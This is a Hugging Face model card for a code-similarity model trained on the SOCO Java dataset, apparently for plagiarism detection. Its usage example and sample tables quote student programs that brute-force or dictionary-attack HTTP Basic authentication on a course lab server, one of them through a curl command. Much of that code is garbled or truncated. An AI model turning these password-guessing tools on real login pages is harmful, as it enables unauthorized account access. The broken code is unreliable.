\ public static void main(String args[]){\n \n\tBruteforce a = new Bruteforce();\n\ |
|
\ a.attack(args);\n }\n\n public void attack(String args[]) {\n \ |
|
\ try {\n\n String login = new String(\"\");\n String url = new String(\"\ |
|
http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n String passwd = new\ |
|
\ String();\n\n\t passwd = getPasswd();\n BufferedReader in = new BufferedReader(\ |
|
\ new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n\ |
|
\ String line;\n while ((line = in.readLine()) != null) {\n \ |
|
\ System.out.println(line);\n }\n System.out.println(\"\ |
|
Password Cracked Successfully!!!\");\n System.out.println(\"The passsword\ |
|
\ is :\" + passwd + \"and got after \" + attempts + \" tries\");\n }\n \ |
|
\ catch (IOException e) {\n \n String r = new String(e.getMessage());\n\ |
|
\ if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n \ |
|
\ System.out.println(\"Trying again with new password\");\n Bruteforce a =\ |
|
\ new Bruteforce();\n a.attack(args);\n }\n else\n {\n\tSystem.out.println(\"\ |
|
Trying again with new password\");\n\tBruteforce a = new Bruteforce();\n\ta.attack(args);\n\ |
|
\ }\n }\n }\n public String getPasswd()\n {\n attempts++;\n\n \ |
|
\ char i1 = 0;\n char j1 = 0;\n char k1 = 0;\n \n int i= l; \ |
|
\ int j= m; int k= n;\n\n String c = new String();\n String c1 = new\ |
|
\ String();\n String c2 = new String();\n String c3 = new String();\n \ |
|
\ String c4 = new String();\n boolean flag;\n\n for (i=l;i<123;i++)\n \ |
|
\ for (j=m;j<123;j++)\n for (k=n;k<123;k++)\n {\n if( flag = true\ |
|
\ )\n {\n\n i1 = (char)i;\n j1 = (char)j;\n k1 = (char)k;\n\n\ |
|
\ if (i==91) i=97;\n if (j==91) j=97;\n if (k==91) k=97;\n\n c = i1+\"\ |
|
\";\n c1 = j1+\"\";\n c2 = k1+\"\";\n c3 = c.concat(c1);\n c4 = c3.concat(c2);\n\ |
|
\ }else break;\n }\n flag = false;\n return c4;\n }\n\n public InputStream\ |
|
\ openURLForInput (URL url, String uname, String pword)\n throws IOException \ |
|
\ {\n conn = url.openConnection();\n conn.setDoInput (true);\n conn.setRequestProperty\ |
|
\ (\"Authorization\", PasswordBase64(uname,pword));\n conn.connect ();\n \ |
|
\ return conn.getInputStream();\n }\n\n\n public String PasswordBase64(String\ |
|
\ username, String password) {\n return \" \" + base64Encode (username + \"\ |
|
:\" + password);\n }\n\n private final static char base64Array [] = {\n \ |
|
\ 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M',\ |
|
\ 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y',\ |
|
\ 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm',\ |
|
\ 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y',\ |
|
\ 'z', '0', '1', '2', '3',\n '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\ |
|
\n private static String base64Encode (String string) {\n String encodedString\ |
|
\ = \"\";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int\ |
|
\ pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n \ |
|
\ byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2\ |
|
\ = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n \ |
|
\ b2 = bytes [i++];\n if (i >= bytes.length) {\n b3\ |
|
\ = 0;\n pad = 1;\n }\n else\n b3\ |
|
\ = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte\ |
|
\ c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 &\ |
|
\ 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\ |
|
\ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\ |
|
\ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \ |
|
\ encodedString += base64Array [c4];\n break;\n case 1:\n\ |
|
\ encodedString += base64Array [c3];\n encodedString += \"=\"\ |
|
;\n break;\n case 2:\n encodedString += \"==\";\n \ |
|
\ break;\n }\n }\n return encodedString;\n }\n }\n" |
|
datasets: |
|
- buelfhood/SOCO_TRAIN_java |
|
pipeline_tag: sentence-similarity |
|
library_name: sentence-transformers |
|
--- |
|
|
|
# SentenceTransformer based on microsoft/unixcoder-base-unimodal |
|
|
|
This is a [sentence-transformers](https://www.SBERT.net) model finetuned from [microsoft/unixcoder-base-unimodal](https://huggingface.co/microsoft/unixcoder-base-unimodal) on the [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) dataset. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more. |
|
|
|
## Model Details |
|
|
|
### Model Description |
|
- **Model Type:** Sentence Transformer |
|
- **Base model:** [microsoft/unixcoder-base-unimodal](https://huggingface.co/microsoft/unixcoder-base-unimodal) <!-- at revision c6b7b85380bf4e01309a3cf5e4f686433764d923 --> |
|
- **Maximum Sequence Length:** 512 tokens |
|
- **Output Dimensionality:** 768 dimensions |
|
- **Similarity Function:** Cosine Similarity |
|
- **Training Dataset:** |
|
- [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) |
|
<!-- - **Language:** Unknown --> |
|
<!-- - **License:** Unknown --> |
|
|
|
### Model Sources |
|
|
|
- **Documentation:** [Sentence Transformers Documentation](https://sbert.net) |
|
- **Repository:** [Sentence Transformers on GitHub](https://github.com/UKPLab/sentence-transformers) |
|
- **Hugging Face:** [Sentence Transformers on Hugging Face](https://huggingface.co/models?library=sentence-transformers) |
|
|
|
### Full Model Architecture |
|
|
|
``` |
|
SentenceTransformer( |
|
(0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel |
|
(1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True}) |
|
) |
|
``` |
|
|
|
## Usage |
|
|
|
### Direct Usage (Sentence Transformers) |
|
|
|
First install the Sentence Transformers library: |
|
|
|
```bash |
|
pip install -U sentence-transformers |
|
``` |
|
|
|
Then you can load this model and run inference. |
|
```python |
|
from sentence_transformers import SentenceTransformer |
|
|
|
# Download from the 🤗 Hub |
|
model = SentenceTransformer("buelfhood/SOCO-Java-UnixCoder-Softmax-PairClass-VAST-e50") |
|
# Run inference |
|
sentences = [ |
|
'\n\nimport java.awt.*;\nimport java.awt.event.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class BruteForce extends Frame implements ActionListener {\n\tprivate TextField tf = new TextField();\n private TextArea ta = new TextArea();\n\n \tpublic void actionPerformed (ActionEvent e) {\n\t\tString s = tf.getText();\n\t\tString login="";\n\n\t\tif (s.length() != 0)\n\t\t{\n\t\t\tchar symbol = \'A\';\n\n\t\t\tlogin=":";\n\t\t\t\n\t\t\tfor(int i = 0; i < 3; i++)\n\t\t\t{\n\t\t\t\tsymbol = (char)(57.0 * Math.random() + 65);\n\n\t\t\t\tif(symbol>90 && symbol<97){\n\t\t\t\t\ti--;\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\tlogin=login+symbol;\n\n\t\t\t}\n\n\t\t ta.setText (fetchURL (s,login));\n\t\t System.out.println("runing"+login);\n\t\t}while(ta.getText().compareTo("Invalid URL")!=0 || ta.getText().compareTo("Error URL")!=0);\n\n\t\tSystem.out.println("The password is: "+login);\n\t}\n\n\tpublic BruteForce() {\n\t\tsuper ("SEC-CRACK");\n\n\t \n\t add (tf, BorderLayout.LEFT);\n\t ta.setEditable(false);\n\t add (ta, BorderLayout.CENTER);\n\t tf.addActionListener (this);\n\n\t addWindowListener (new WindowAdapter() {\n\t public void windowClosing (WindowEvent e) {\n\t dispose();\n\t System.exit(0);\n\t }\n\t });\n\t}\n\n\tprivate String fetchURL (String urlString,String login) {\n\t\tStringWriter sw = new StringWriter();\n\t PrintWriter pw = new PrintWriter();\n\n\t try {\n\t URL url = new URL (urlString);\n\n\t \n\t\n\t \n\n\t \n\t String encoding = new url.misc.BASE64Encoder().encode (login.getBytes());\n\n\t \n\t URLConnection uc = url.openConnection();\n\t uc.setRequestProperty ("Authorization", " " + encoding);\n\t InputStream content = (InputStream)uc.getInputStream();\n\t BufferedReader in =\n\t new BufferedReader (new InputStreamReader (content));\n\t String line;\n\t while ((line = in.readLine()) != null) {\n\t pw.println (line);\n\t }\n\t } catch (MalformedURLException e) {\n\t pw.println ("Invalid URL");\n\t } catch (IOException e) {\n\t pw.println ("Error URL");\n\t }\n\t return sw.toString();\n\t}\n\n\n\tpublic static void main(String args[]) {\n\t\tFrame f = new BruteForce();\n\t f.setSize(300, 300);\n\t f.setVisible (true);\n\t}\n}\n\n\n\n\nclass Base64Converter\n{\n\tpublic static final char [ ] alphabet = {\n \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\', \n \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\', \n \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\', \n \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\', \n \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\', \n \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\', \n \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\', \n \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\' }; \n\n\n public static String encode ( String s )\n {\n return encode ( s.getBytes ( ) );\n }\n\n public static String encode ( byte [ ] octetString )\n {\n int bits24;\n int bits6;\n\n char [ ] out\n = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];\n\n int outIndex = 0;\n int i = 0;\n\n while ( ( i + 3 ) <= octetString.length )\n {\n \n bits24 = ( octetString [ i++ ] & 0xFF ) << 16;\n bits24 |= ( octetString [ i++ ] & 0xFF ) << 8;\n bits24 |= ( octetString [ i++ ] & 0xFF ) << 0;\n\n bits6 = ( bits24 & 0x00FC0000 ) >> 18;\n out [ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0003F000 ) >> 12;\n out [ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x00000FC0 ) >> 6;\n out [ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0000003F );\n out [ outIndex++ ] = alphabet [ bits6 ];\n }\n\n if ( octetString.length - i == 2 )\n {\n \n bits24 = ( octetString [ i ] & 0xFF ) << 16;\n bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8;\n\n bits6 = ( bits24 & 0x00FC0000 ) >> 18;\n out [ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0003F000 ) >> 12;\n out [ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x00000FC0 ) >> 6;\n out [ outIndex++ ] = alphabet [ bits6 ];\n\n \n out [ outIndex++ ] = \'=\';\n }\n else if ( octetString.length - i == 1 )\n {\n \n bits24 = ( octetString [ i ] & 0xFF ) << 16;\n\n bits6 = ( bits24 & 0x00FC0000 ) >> 18;\n out [ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0003F000 ) >> 12;\n out [ outIndex++ ] = alphabet [ bits6 ];\n\n \n out [ outIndex++ ] = \'=\';\n out [ outIndex++ ] = \'=\';\n }\n\n return new String ( out );\n }\n}\n\n', |
|
'\n\nimport java.io.*;\nimport java.text.*;\nimport java.util.*;\nimport java.net.*;\n\npublic class BruteForce extends Thread\n{\n private static final String USERNAME = "";\n private static final char [] POSSIBLE_CHAR =\n {\'a\', \'b\', \'c\', \'d\', \'e\', \'f\', \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\',\n \'n\', \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\', \'w\', \'x\', \'y\', \'z\',\n \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\', \'I\', \'J\', \'K\', \'L\', \'M\',\n \'N\', \'O\', \'P\', \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\', \'Y\', \'Z\'};\n private static int NUMBER_OF_THREAD = 500;\n\n private static Date startDate = null;\n private static Date endDate = null;\n\n private String address;\n private String password;\n\n public BruteForce(String address, String password)\n {\n this.address = address;\n this.password = password;\n }\n\n public static void main(String[] args) throws IOException\n {\n if (args.length < 1)\n {\n System.err.println("Invalid usage!");\n System.err.println("Usage: java BruteForce <url>");\n System.exit(1);\n }\n\n try\n {\n brute(args[0], USERNAME);\n }\n catch(Exception e)\n {\n e.printStackTrace();\n System.exit(1);\n }\n }\n\n public static void brute(String address, String user)\n {\n BruteForce [] threads = new BruteForce[NUMBER_OF_THREAD];\n int index = 0;\n\n startDate = new Date();\n for(int i = 0; i < POSSIBLE_CHAR.length; i++)\n {\n for(int j = 0; j < POSSIBLE_CHAR.length; j++)\n {\n for(int k = 0; k < POSSIBLE_CHAR.length; k++)\n {\n String password = ""+POSSIBLE_CHAR[i]+POSSIBLE_CHAR[j]+\n POSSIBLE_CHAR[k];\n\n if (threads[index] != null && threads[index].isAlive())\n {\n try\n {\n threads[index].join();\n }\n catch(InterruptedException e ) {}\n }\n threads[index] = new BruteForce(address, password);\n threads[index].get();\n\n index = (index++) % threads.length;\n }\n }\n }\n }\n\n public void run()\n {\n if (endDate != null)\n return;\n\n try\n {\n\n URLConnection conn = (new URL(address)).openConnection();\n conn.setDoInput(true);\n\n if (login(conn, USERNAME, password))\n {\n endDate = new Date();\n System.out.println("Found the password: \\""+password+"\\"!");\n SimpleDateFormat format = new SimpleDateFormat("dd/MM/yyyy HH:mm:");\n System.out.println("Process started at: "+format.format(startDate));\n System.out.println("Process started at: "+format.format(endDate));\n double timeTaken = (double)(endDate.getTime()-startDate.getTime())/60000;\n System.out.println("Time taken: "+timeTaken+" minutes");\n System.exit(0);\n }\n else\n {\n System.out.println("Password: \\""+password+"\\" Failed!");\n return;\n }\n }\n catch(Exception e)\n {\n e.printStackTrace();\n }\n\n }\n\n public static boolean login(URLConnection conn, String user, String pass)\n {\n try\n {\n String encodeAuth = " "+Base64Encoder.encode(user+":"+pass);\n conn.setRequestProperty ("Authorization", encodeAuth);\n conn.connect();\n conn.getInputStream();\n }\n catch(Exception e)\n {\n return false;\n }\n return true;\n }\n}\n\n\n', |
|
'\n\nimport java.net.*;\nimport java.io.*;\n\npublic class Base64Encoder\n{\n private final static char base64Array [] = {\n \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n };\n\n public static String encode (String string)\n {\n String encodedString = "";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length)\n {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length)\n {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else\n {\n b2 = bytes [i++];\n if (i >= bytes.length)\n {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad)\n {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += "=";\n break;\n case 2:\n encodedString += "==";\n break;\n }\n }\n return encodedString;\n }\n}\n', |
|
] |
|
embeddings = model.encode(sentences) |
|
print(embeddings.shape) |
|
# [3, 768] |
|
|
|
# Get the similarity scores for the embeddings |
|
similarities = model.similarity(embeddings, embeddings) |
|
print(similarities.shape) |
|
# [3, 3] |
|
``` |
|
|
|
<!-- |
|
### Direct Usage (Transformers) |
|
|
|
<details><summary>Click to see the direct usage in Transformers</summary> |
|
|
|
</details> |
|
--> |
|
|
|
<!-- |
|
### Downstream Usage (Sentence Transformers) |
|
|
|
You can finetune this model on your own dataset. |
|
|
|
<details><summary>Click to expand</summary> |
|
|
|
</details> |
|
--> |
|
|
|
<!-- |
|
### Out-of-Scope Use |
|
|
|
*List how the model may foreseeably be misused and address what users ought not to do with the model.* |
|
--> |
|
|
|
<!-- |
|
## Bias, Risks and Limitations |
|
|
|
*What are the known or foreseeable issues stemming from this model? You could also flag here known failure cases or weaknesses of the model.* |
|
--> |
|
|
|
<!-- |
|
### Recommendations |
|
|
|
*What are recommendations with respect to the foreseeable issues? For example, filtering explicit content.* |
|
--> |
|
|
|
## Training Details |
|
|
|
### Training Dataset |
|
|
|
#### soco_train_java |
|
|
|
* Dataset: [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) at [44ca4ff](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java/tree/44ca4ff546c090153d7903c15aeda036891ec476) |
|
* Size: 16,705 training samples |
|
* Columns: <code>label</code>, <code>text_1</code>, and <code>text_2</code> |
|
* Approximate statistics based on the first 1000 samples: |
|
| | label | text_1 | text_2 | |
|
|:--------|:-----------------------------------------------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------| |
|
| type | int | string | string | |
|
| details | <ul><li>0: ~99.40%</li><li>1: ~0.60%</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 453.35 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 53 tokens</li><li>mean: 469.36 tokens</li><li>max: 512 tokens</li></ul> | |
|
* Samples: |
|
| label | text_1 | text_2 | |
|
|:---------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| |
|
| <code>0</code> | <code><br>import java.net.*;<br>import java.io.*;<br>import java.Ostermiller.util.*;<br>import java.util.*;<br><br>public class MyClient2 implements Runnable<br>{<br> private String hostname;<br> private int port;<br> private String filename;<br> private Socket s;<br> private int n;<br> private InputStream sin;<br> private OutputStream sout;<br> private int dif;<br> private String myPassword;<br> private int status;<br> private int myTime;<br> private BruteForce myMaster;<br> <br><br> public MyClient2(BruteForce bf , int num, int myPort, String password)<br> {<br> <br> hostname = new String("sec-crack.cs.rmit.edu.");<br> port = myPort;<br> status = 0;<br> myTime = 0;<br> myPassword = password;<br> filename = new String("/SEC/2/");<br> myMaster = 0;<br> n = num;<br> dif = 0;<br> <br> }<br> public getDif()<br> {<br> return dif;<br> }<br> public int getStatus()<br> {<br> return status;<br> }<br> public void run() <br> {<br> String inputLine;<br> String[] tokens = new String[5];<br> int i;<br> myTime = 0;<br> ...</code> | <code>import java.io.*;<br>import java.net.*;<br>import java.text.*;<br>import java.util.*;<br><br>class Dictionary {<br><br> private String password="";<br><br> private int num=401;<br><br><br> public static void main(String[] args) {<br><br><br> Dictionary URLcon;<br><br> int length = 0;<br><br> String passwd="";<br><br> int t0,t1;<br><br> String line ="";<br> <br> if (args.length == 0) {<br> <br> System.err.println (<br> <br> "Usage : java BruteForce <username>");<br> return;<br> <br> }<br> <br> String username = args[0];<br> <br> <br> t0=System.currentTimeMillis();<br> <br> System.out.println (" " + new Date());<br> System.out.println ("Using Dictionary method attack "+username+"'s password. Please waiting.......");<br><br> try{ BufferedReader in = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));<br><br> while ((passwd=in.readLine())!=null) {<br><br> URLcon = new Dictionary (passwd,username);<br><br> if ((URLcon.num)!=401) {<br><br> t1=Syste...</code> | |
|
| <code>0</code> | <code><br>import java.net.*;<br>import java.io.*;<br><br><br>public class BruteForce {<br><br> public static void main(String args[])<br> {<br> int i,j,k;<br> String pass = new String();<br> String UserPass = new String();<br> String status = new String();<br> String status1 = new String();<br> BasicAuth auth = new BasicAuth();<br> URLConnection connect;<br> int start,end,diff;<br><br> try {<br> URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");<br><br> start =System.currentTimeMillis();<br><br><br> DataInputStream dis ;<br><br> for (i=0;i<=58;i++)<br> {<br><br> for (j=0;j<=58;j++)<br> {<br><br> for (k=1;k<=58;k++)<br> {<br><br> <br><br><br> if (i !=0)<br> {<br><br><br> pass = "" + (char)(k+64) + (char)(j+65) + (char)(i+64);<br><br> if ((i+64) >=91 && (i+64) <=96)<br> break;<br><br> if ((j+65) >=91 && (j+65) <=96)<br> break;<br><br> if ((k+64) >=91 && (k+64) <=96)<br> continue;<br><br><br> UserPass= auth.encode("",...</code> | <code><br><br>import java.util.*;<br>import java.net.*;<br>import java.io.*;<br>import javax.swing.*;<br><br><br><br>public class ParsingImgLink<br>{<br> String url, imgLink, line;<br><br> public ParsingImgLink( String baseURL, String str )<br> {<br> url = baseURL;<br> line = str;<br> parsingLine();<br> }<br><br> public void parsingLine()<br> {<br> int end;<br> String imgURLStr = null;<br> if( ( url = line.indexOf("src=\"") ) != -1 )<br> {<br> String subStr = line.substring(+5);<br> end = subStr.indexOf("\"");<br> imgURLStr = subStr.substring( 0, end );<br> System.out.println(imgURLStr);<br> }<br> else if( ( end = line.indexOf("SRC=\"")) != -1 )<br> {<br> String subStr = line.substring(+5);<br> end = subStr.indexOf("\"");<br> imgURLStr = subStr.substring( 0, end );<br> System.out.println(imgURLStr);<br> }<br><br> if( imgURLStr.indexOf("://") == -1 )<br> {<br> try<br> {<br> URL bas...</code> | |
|
| <code>0</code> | <code><br>import java.util.*;<br>import java.io.*;<br>import java.net.*;<br><br>class Dictionary<br>{<br><br> public static void main (String a[])<br> {<br> String pwd="";<br><br> try<br> {<br> <br> BufferedReader bf = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));<br> int i=0;<br> while(bf.readLine() != null)<br> {<br> pwd= bf.readLine(); <br> String userPassword = ":"+pwd;<br> RealThread myTh = new RealThread(i,userPassword);<br> Thread th = new Thread( myTh );<br> th.start();<br> try<br> {<br> th.sleep(100);<br> }<br> catch(Exception e)<br> {} <br> i++;<br> }<br> }<br> catch(Exception e )<br> {<br> System.out.println(" ex while ="+ e);<br> }<br>}<br><br><br>}<br><br><br><br><br>class RealThread implements Runnable<br>{<br> private int num;<br> private URL url;<br> private HttpURLConnection uc =null;<br> private String userPassword;<br> private int responseCode = 100;<br> public RealThread (int i, String userPassword)<br> {<br> try<br> {<br> url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");<br> }<br> catch(Exception ex1)<br> {<br> }<br> num = i;<br> this...</code> | <code>import java.io.*;<br>import java.util.*;<br>import java.net.*;<br>import java.misc.BASE64Encoder;<br><br>public class Dictionary<br>{<br><br> public Dictionary()<br> {<br> }<br><br> public static void main(String[] args)<br> {<br> try<br> {<br><br> if (args.length != 3 )<br> {<br> System.out.println("Usage: java BruteForce <URL> <UserName> <DictFileName>");<br> System.exit(1);<br> }<br><br> timeStart = System.currentTimeMillis();<br><br> String strPass = applyDictionary (args[0], args[1], args [2]);<br><br> timeEnd = System.currentTimeMillis();<br><br> System.out.println("\n\n\n\n\tPass Cracked is: " + strPass);<br> System.out.println("\tTime taken is (sec):" + String.valueOf((timeEnd - timeStart)/1000));<br><br> }<br> catch(Exception e)<br> {<br> e.printStackTrace();<br> }<br> }<br><br> static String applyDictionary (String URL, String UserName, String strUrlDictionary)<br> {<br> String strPass = "";<br><br> try<br> {<br> FileInputStream fIn = new FileInputStream ( strUrlDictionar...</code> | |
|
* Loss: [<code>SoftmaxLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#softmaxloss) |
|
|
|
### Evaluation Dataset |
|
|
|
#### soco_train_java |
|
|
|
* Dataset: [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) at [44ca4ff](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java/tree/44ca4ff546c090153d7903c15aeda036891ec476) |
|
* Size: 16,706 evaluation samples |
|
* Columns: <code>label</code>, <code>text_1</code>, and <code>text_2</code> |
|
* Approximate statistics based on the first 1000 samples: |
|
| | label | text_1 | text_2 | |
|
|:--------|:-----------------------------------------------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------| |
|
| type | int | string | string | |
|
| details | <ul><li>0: ~99.40%</li><li>1: ~0.60%</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 443.68 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 467.63 tokens</li><li>max: 512 tokens</li></ul> | |
|
* Samples: |
|
| label | text_1 | text_2 | |
|
|:---------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| |
|
| <code>0</code> | <code><br><br>import java.Runtime;<br>import java.io.*;<br><br>public class differenceFile<br>{<br> StringWriter sw =null;<br> PrintWriter pw = null;<br> public differenceFile()<br> {<br> sw = new StringWriter();<br> pw = new PrintWriter();<br> }<br> public String compareFile()<br> {<br> try<br> {<br> Process = Runtime.getRuntime().exec("diff History.txt Comparison.txt");<br><br> InputStream write = sw.getInputStream();<br> BufferedReader bf = new BufferedReader (new InputStreamReader(write));<br> String line;<br> while((line = bf.readLine())!=null)<br> pw.println(line);<br> if((sw.toString().trim()).equals(""))<br> {<br> System.out.println(" difference");<br> return null;<br> }<br> System.out.println(sw.toString().trim());<br> }catch(Exception e){}<br> return sw.toString().trim();<br> }<br>}</code> | <code><br><br><br><br><br><br><br>import java.*;<br>import java.io.*;<br>import java.util.*;<br><br>public class BruteForce<br>{<br><br> public static void main(String[] args) <br> {<br> Runtime rt = Runtime.getRuntime();<br> Process pr= null;<br> char chars[] = {'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};<br> String pass;<br> char temp[] = {'a','a'};<br> char temp1[] = {'a','a','a'};<br> char temp2[] = {'a'};<br><br> String f= new String();<br> String resp = new String();<br> int count=0;<br> String success = new String();<br> InputStreamReader instre;<br> BufferedReader bufread;<br><br><br> for(int k=0;k<52;k++)<br> {<br> temp2[0]=chars[k];<br> pass = new String(temp2); <br> count++; <br><br> System.out.println("The password tried ...</code> | |
|
| <code>0</code> | <code>import java.io.*;<br>import java.net.*;<br>import java.util.*;<br><br>public class Watchdog<br>{<br> public static void main(String args[])<br> {<br> <br> String mainLink="http://www.cs.rmit.edu./students/";<br> String sender = "@cs.rmit.edu.";<br> String recipient = "<webtech@acuneeds.>";<br> String hostName = "yallara.cs.rmit.edu.";<br> int delay = 86400000;<br><br> try<br> {<br> int imgSrcIndex, imgSrcEnd;<br> String imgLink;<br> Vector imageList = new Vector();<br> HttpURLConnection imgConnection;<br> URL imgURL;<br><br> <br> EmailClient email = new EmailClient(sender, recipient, hostName);<br><br> <br> URL url=new URL(mainLink);<br> HttpURLConnection connection = (HttpURLConnection) url.openConnection();<br><br> BufferedReader webpage = new BufferedReader(new InputStreamReader(connection.getInputStream()));<br><br> <br> FileWriter fwrite = new FileWriter("local.txt");<br> BufferedWriter writefile = new BufferedWriter(fwrite);<br><br> String line=webpage.readLine();<br><br> while (line != null)<br> {<br> <br> writefile.write(line,0,line.length());<br> wri...</code> | <code><br><br>import java.net.*;<br>import java.io.*;<br>import java.String;<br>import java.*;<br>import java.util.*;<br><br>public class BruteForce {<br> private static final int passwdLength = 3; <br> private static String commandLine<br> = "curl http://sec-crack.cs.rmit.edu./SEC/2/index.php -I -u :";<br> private String chars = 